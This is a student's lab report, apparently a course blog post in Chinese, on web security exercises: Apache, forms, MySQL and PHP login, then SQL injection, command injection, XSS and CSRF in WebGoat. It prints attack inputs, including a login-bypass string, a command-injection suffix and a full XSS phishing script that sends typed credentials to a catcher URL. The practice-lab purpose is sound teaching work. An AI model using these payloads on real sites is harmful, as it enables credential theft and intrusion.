20192417 实验八 Web安全

1.实验内容

(1)Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
(2)Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。
(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
(4)Web后端:编写PHP网页,连接数据库,进行用户认证
(5)最简单的SQL注入,XSS攻击测试
(6)安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击。

2.实验过程

任务一:Web前端HTML

开启并验证Apache服务,在浏览器输入本机IP地址

写html文件

在浏览器输入 /var/www/html/2417form.html

任务二:Web前端javascipt


任务三:Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表

下载安装mysql

systemctl start mysql启动mysql服务

建立数据库,写入信息

创建新用户



任务四:Web后端:编写PHP网页,连接数据库,进行用户认证

写php文件,测试是否能登录成功

任务五:最简单的SQL注入,XSS攻击测试

1.SQL注入

用户名输入' or 1=1#


2.XSS攻击

用户名输入

任务六:安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击

配置java


输入 http://localhost:8080/WebGoat 进入WebGoat登录界面

1.SQL注入

Injection Flaws→Command Injection

修改网页源代码,在选项 AccessControlMatrix.help 的末尾注入 & netstat -an & ipconfig

点击view

Log Spoofing



2.XSS攻击

Cross‐Site Scripting→Phishing with XSS

输入以下代码

<head> <body> <script> function hack() { XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>

登录

3.CSRF攻击

Cross‐Site Scripting→Cross Site Request Forgery (CSRF)

点击Message List,会下载该消息并显示,CSRF攻击成功

3.问题及解决方案

  • 问题1:下载mysql,报错Unable to locate package mariadb-server
  • 问题1解决方案:apt-get update,更新就行了

4.学习感悟、思考等

本次实验涉及了web前后端的知识,相当于把上学期学过的web编程课程知识粗略复习了一下,此外还初步接触了webgoat平台。

posted @ 2022-06-12 13:39  20192417张家华  阅读(193)  评论(0编辑  收藏  举报